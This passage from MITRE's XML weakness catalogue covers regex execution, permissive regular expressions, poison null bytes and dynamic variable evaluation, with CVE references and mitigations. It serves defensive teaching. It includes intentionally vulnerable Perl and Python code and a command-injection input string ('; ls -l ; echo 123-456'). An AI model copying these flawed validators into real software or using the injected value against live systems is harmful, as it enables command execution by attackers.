				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="624" Name="Executable Regular Expression Error" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.</Description>
         <Extended_Description>Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Name="Perl" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-2059</Reference>
               <Description>Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2059</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3420</Reference>
               <Description>Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3420</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2878</Reference>
               <Description>Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2878</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2908</Reference>
               <Description>Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2908</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Observed_Example</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="625" Name="Permissive Regular Expression" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a regular expression that does not sufficiently restrict the set of allowed values.</Description>
         <Extended_Description>
            <xhtml:p>This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>not identifying the beginning and end of the target string</xhtml:li>
                  <xhtml:li>using wildcards instead of acceptable character ranges</xhtml:li>
                  <xhtml:li>others</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="185" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="187" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="184" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="183" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Perl" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This problem is frequently found when the regular expression is used in input validation or security features such as authentication.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-37">
               <Intro_Text>The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$phone = GetPhoneNumber();<xhtml:br/>if ($phone =~ /\d+-\d+/) {<xhtml:div style="margin-left:1em;">
                           <xhtml:i># looks like it only has hyphens and digits</xhtml:i>
                           <xhtml:br/>system("lookup-phone $phone");</xhtml:div>}
                     <xhtml:br/>else {<xhtml:div style="margin-left:1em;">error("malformed number!");</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-154">
	      <Intro_Text>This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.</Intro_Text>
	      <Example_Code Nature="bad" Language="Python">
		<xhtml:div>
		  import subprocess<xhtml:br/>
		  import re<xhtml:br/>
		  <xhtml:br/>
		  def validate_ip_regex(ip: str):<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
		    ip_validator = re.compile(r"((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}")<xhtml:br/>
		    if ip_validator.match(ip):<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      return ip<xhtml:br/>
		    </xhtml:div>
		    else:<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      raise ValueError("IP address does not match valid pattern.")<xhtml:br/>
		    </xhtml:div>
		  </xhtml:div>
		  <xhtml:br/>
		  def run_ping_regex(ip: str):<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
		    validated = validate_ip_regex(ip)<xhtml:br/>
		    <xhtml:i># The ping command treats zero-prepended IP addresses as octal</xhtml:i><xhtml:br/>
		    result = subprocess.call(["ping", validated])<xhtml:br/>
		    print(result)<xhtml:br/>
		  </xhtml:div>
		</xhtml:div>
	      </Example_Code>
	      <Body_Text>Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or $ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-22204</Reference>
               <Description>Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-22204</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-1895</Reference>
               <Description>".*" regexp leads to static code injection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-1895</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2175</Reference>
               <Description>insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2175</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4527</Reference>
               <Description>regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1949</Reference>
               <Description>Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1949</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2109</Reference>
               <Description>Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2109</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6511</Reference>
               <Description>regexp in .htaccess file allows access of files whose names contain certain substrings</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6511</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6629</Reference>
               <Description>allow load of macro files whose names contain certain substrings.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6629</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS08-J</Entry_ID>
               <Entry_Name>Sanitize untrusted data passed to a regex</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Character Stripping Vulnerabilities&#34;, Page 437"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="626" Name="Null Byte Interaction Error (Poison Null Byte)" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle null bytes or NUL characters when passing data between different representations or components.</Description>
         <Extended_Description>
            <xhtml:p>A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.</xhtml:p>
            <xhtml:p>The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="147" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="436" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Name="Perl" Prevalence="Undetermined"/>
            <Language Name="ASP.NET" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Remove null bytes from all incoming strings.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-4155</Reference>
               <Description>NUL byte bypasses PHP regular expression check</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4155</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3153</Reference>
               <Description>inserting SQL after a NUL byte bypasses allowlist regexp, enabling SQL injection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3153</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-514"/>
            <Reference External_Reference_ID="REF-515"/>
            <Reference External_Reference_ID="REF-516"/>
         </References>
         <Notes>
            <Note Type="Terminology">Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.</Note>
            <Note Type="Research Gap">There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Research_Gaps, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="627" Name="Dynamic Variable Evaluation" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.</Description>
         <Extended_Description>The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="914" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="183" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Name="Perl" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Dynamic evaluation</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>An attacker could gain unauthorized access to internal program variables and execute arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Refactoring</Strategy>
               <Description>Refactor the code to avoid dynamic variable evaluation whenever possible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Use only allowlists of acceptable variable or function names.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-0422</Reference>
               <Description>Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0422</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2431</Reference>
               <Description>Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2431</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4904</Reference>
               <Description>Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4904</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4019</Reference>
               <Description>Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4019</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-517"/>
            <Reference External_Reference_ID="REF-518"/>
         </References>
         <Notes>
            <Note Type="Research Gap">Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Background_Details, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Potential_Mitigations, Relationships, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
